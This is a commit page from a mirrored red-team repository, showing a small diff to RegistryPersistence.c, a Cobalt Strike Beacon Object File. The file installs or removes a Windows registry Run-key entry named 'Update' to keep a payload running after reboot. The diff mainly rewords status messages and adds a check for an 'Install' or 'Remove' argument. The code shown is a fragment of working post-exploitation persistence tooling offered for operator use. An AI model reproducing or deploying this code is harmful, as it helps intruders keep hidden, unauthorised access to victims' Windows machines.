admin/rvrsh3ll-BOF_Collection
1
0
Fork 0
mirror of https://github.com/rvrsh3ll/BOF_Collection synced 2026-06-08 17:17:56 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update RegistryPersistence.c

Browse Source
This commit is contained in:
Steve Borosh
2020-07-17 17:13:25 -04:00
parent 391dad2708
commit 94f89d7644
1 changed files with 7 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Persistence/RegistryPersistence.c
+7 -4
View File
@@ -20,8 +20,9 @@ void InstallPersistence() {
BeaconPrintf(CALLBACK_OUTPUT,"Key opened \n");
if (ADVAPI32$RegSetValueExW(key, L"Update", 0, REG_SZ, (LPBYTE)payload, sizeof(payload)) == ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_OUTPUT,"Key changed in registry \n");
BeaconPrintf(CALLBACK_OUTPUT,"Persistence Installed \n");
BeaconPrintf(CALLBACK_OUTPUT,"Key changed in registry, persistence installed \n");
}
else{
BeaconPrintf(CALLBACK_OUTPUT,"Key not changed in registry \n");
@@ -49,8 +50,7 @@ void RemovePersistence() {
BeaconPrintf(CALLBACK_OUTPUT,"Key location open successful \n");
if (ADVAPI32$RegDeleteKeyValueW(key, L"Run", keyname) == ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_OUTPUT,"Key deleted in registry \n");
BeaconPrintf(CALLBACK_OUTPUT,"Persistence Removed \n");
BeaconPrintf(CALLBACK_OUTPUT,"Key deleted in registry, persistence removed. \n");
}
else{
BeaconPrintf(CALLBACK_OUTPUT,"Key not deleted in registry \n");
@@ -69,10 +69,13 @@ void go(char * args, int alen) {
int remove;
int install;
remove = MSVCRT$strcmp(args, "Remove") == 0;
install = MSVCRT$strcmp(args, "Install") == 0;
if(remove > 0) {
RemovePersistence();
}else if(install > 0){
InstallPersistence();
} else {
BeaconPrintf(CALLBACK_OUTPUT, "Please use either an Install or Remove argument.");
}
}